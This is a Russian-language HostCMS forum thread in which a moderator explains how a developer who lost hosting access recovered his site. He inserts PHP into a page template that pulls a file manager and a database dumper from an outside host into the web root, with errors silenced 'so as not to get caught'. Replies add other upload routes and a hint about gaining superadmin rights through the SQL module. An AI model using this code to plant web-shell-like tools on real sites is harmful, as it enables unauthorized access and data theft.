Учу плохому. - "Парашют" для разработчика :-)

#
Учу плохому. - "Парашют" для разработчика :-)
Disclaimer 1. Описанные ниже действия не являются эксплойтом для HostCMS, равно как и не говорят о наличии в HostCMS каких-либо уязвимостей, поскольку описанные действия можно проделать только при наличии доступа в ЦА. Более того, автор с уверенностью утверждает, что аналогичные действия можно проделать на любой CMS написанной на PHP и предоставляющей администратору доступ к фрагментам незакодированного PHP-кода либо дающей возможность делать исполняемые PHP-вставки в макеты, шаблоны или другие части сайта.

Disclaimer 2. Вместе с тем, в результате воспроизведения описанных ниже действий, на ваших сайтах могут появится уязвимости, не связанные с HostCMS. В случае повторения описанных ниже действий вы делаете это на свой страх и риск. Автор не несет ответственности за возможные проблемы, прямо или косвенно связанные с повторением описанных ниже действий, не гарантирует что данные действия безопасны, да и вообще не гарантирует работоспособность описанного метода в конкретном частном случае.


Ну вот, теперь можно и рассказывать

На днях со мной связался один наш с вами коллега-разработчик, с которым я уже неоднократно сотрудничал раньше, и пожаловался на жизнь. Он хостил портфолио на сервере своего друга, но случилось так что с другом они поругались и тот закрыл доступ в админку хостинга, к FTP и PHPMyAdmin. Доступ в ЦА HostCMS у коллеги остался, но его это мало утешало и он кончено же захотел переехать на другой хостинг. Портфолио было сделано на редакции Халява, которая не имеет собственных средств для создания бекапов, а припасенной резервной копии, естественно. не было. Друг-хостер отдавать сайт не хотел.

Ситуация казалась патовой. Однако после пары рюмок мы нашли довольно остроумное решение.

Итак, нам понадобятся: любой рабочий хостинг с привязанным к нему доменом и известной нам учеткой на FTP-доступ (в примере www.my_help_site.ru),
а так же две утилитки:
джумловский файл-менеджер jsys.php (http://yandex.ru/yandsearch?text=jsys.php&lr=2)
и бекапер баз данных Sypex Dumper (http://yandex.ru/yandsearch?text=Sypex+Dumper&lr=2)

1. Находим и скачиваем эти утилиты. Получаем два файла jsys.php и dumper.php. Меняем у них расширение с php на txt и по FTP выкладываем их на наш вспомогательный сайт так, чтобы мы могли открыть их из браузера как простой текстовый файл, например так: http://www.my_help_site.ru/jsys.txt и  http://www.my_help_site.ru/dumper.txt

2. Заходим в ЦА HostCMS и идем в редактирование нашего основного макета. В самое начало макета вставляем следующий код:


<?php

// проверим нет ли уже такого файла, чтобы не качать его зря
if (!file_exists(CMS_FOLDER . 'jsys.php'))
   // вывод возможных сообщений об ошибках заткнем собачкой, чтобы не палиться
   @file_put_contents(CMS_FOLDER . 'jsys.php', file_get_contents('http://www.my_help_site.ru/jsys.txt'));

if (!file_exists(CMS_FOLDER . 'dumper.php'))
   @file_put_contents(CMS_FOLDER . 'dumper.php', file_get_contents('http://www.my_help_site.ru/dumper.txt'));

?>


Теперь открываем любую страницу нашего сайта, использующую данный макет и - вуаля! - в корне сайта лежат исполняемые jsys.php и dumper.php

ВНИМАНИЕ! Сразу после этого НАСТОЯТЕЛЬНО РЕКОМЕНДУЕТСЯ добавленный код из макета удалить!

Теперь мы можем зайти по адресу http://www.mysite.ru/jsys.php, авторизоваться в jsys, посмотреть логин и пароль к БД и сделать бекап базы, зайдя по адресу  http://www.mysite.ru/dumper.php.

После этого с помощью все того же jsys.php можно сделать архив всех папок hostCMS и скачать его к себе на локальный диск. (Если сайт у вас большой, то возможно jsys не сможет сделать архив сразу всех папок из-за таймаута выполнения скрипта. Тогда можно сворачивать папки по одной-две за раз и скачивать сайт частями)

После того как вы сделали и скачали все бекапы, ОБЯЗАТЕЛЬНО! удалите из корня сайта файлы dumper.php и jsys.php, это можно сделать с помощью самого jsys Ну и разумеется вставка кода в макете должна быть удалена ДО того как вы удалите файлы!

На этом желаю вам удачи и никогда не попадать в ситуации, когда вам может понадобиться подобное решение.
Заказов не беру. Консультирую редко.
Модератор
#
Re: Учу плохому. - "Парашют" для разработчика :-)
Kotoff,
Полезная статья, бывают пользователи даже не знают хостера, у которого размещают сайт.
#
Re: Учу плохому. - "Парашют" для разработчика :-)
HostCMS, спасибо.
Я-то думал как-бы модераторы ее не удалили, чтоб плохих примеров людям не подавал

Тут, кстати, родилось дополнение на тему как можно обойтись без "вспомогательного" сайта.

Вместо п.1 из инструкции выше, можно сделать следующее:

1а. Зайти в ЦА hostCMS, выбрать любую инфосистему, и создать у нее дополнительное свойство типа "Файл".

1б. После этого редактируем любой элемент этой ИС, загружая в только что созданное допсвойство файл jsys.txt После сохранения элемента, снова заходим в редактор, и у этого же допсвойства смотрим путь к файлу, примерно такого вида "http://www.mysite.ru/upload/information_system_N/X/Y/Z/item_XYZ/information_items_property_ABC.txt", где N, X, Y, Z, A, B и C - некие числа.

1в. Этот путь мы копируем и вставляем в наш код для макета, вместо пути "http://www.my_help_site.ru/jsys.txt".

1г. Аналогично, но _в_другой_элемент_ИС_ (это важно!), загружаем dumper.txt и копируем его путь вместо "http://www.my_help_site.ru/dumper.txt".

Далее выполняем пункт 2 и последующие из инструкции выше.

Для тех у кого возникнет желание загрузить в допсвойство ИС сразу файл с расширением .php, чтобы не мудрить со сменой расширений и макетом, скажу - ничего не получится То есть файл-то загрузится, но из папки /upload/ и ее подпапок работать он не будет, такое ограничение стоит в .htaccess папки upload, (что на самом деле говорит о том что система неплохо защищена и еще раз подтверждает сказанное мною в первом дисклеймере).
Заказов не беру. Консультирую редко.
#
Re: Учу плохому. - "Парашют" для разработчика :-)
эти файлы можно залить и сразу как php файлы, через вставку картинок в визивиг редакторе))) а еще можно если есть доступ к модулю SQL-запросы повысить свои права до суперадмина, эксплойтом это не является так доступно только через админку и то при неправильной настройке прав доступа
#
Re: Учу плохому. - "Парашют" для разработчика :-)
Ох, irbiss, а ведь ваша правда!

Были у нас идеи насчет загрузки вместо картинки инфоэлемента, и насчет создания ТДСов из кода этих файлов, но как-то вот до визвиг-редактора мы не додумались Наверное потому что я крайне редко им пользуюсь.

Ну что же, респект вам за хорошее знание системы
Заказов не беру. Консультирую редко.
Модератор
#
Re: Учу плохому. - "Парашют" для разработчика :-)
Кстати, со следующего обновления в модуле SQL-запросов будут выводится результаты выполнения запроса, если результат был.
#
Re: Учу плохому. - "Парашют" для разработчика :-)
HostCMS писал(а):
если результат был


ИМХО: как говориться - какая разница если "дело" состоялось (поздно будет уже результаты смотреть)
#
Re: Учу плохому. - "Парашют" для разработчика :-)
kvasiliy писал(а):
как говориться — какая разница если «дело» состоялось
Да нет, иногда может оказаться полезным. Для отладки, например, когда "дело" вроде бы должно состояться, но почему-то никак не "состояивается"
Заказов не беру. Консультирую редко.
Модератор
#
Re: Учу плохому. - "Парашют" для разработчика :-)
kvasiliy,
Не все запросы возвращают результат.
Авторизация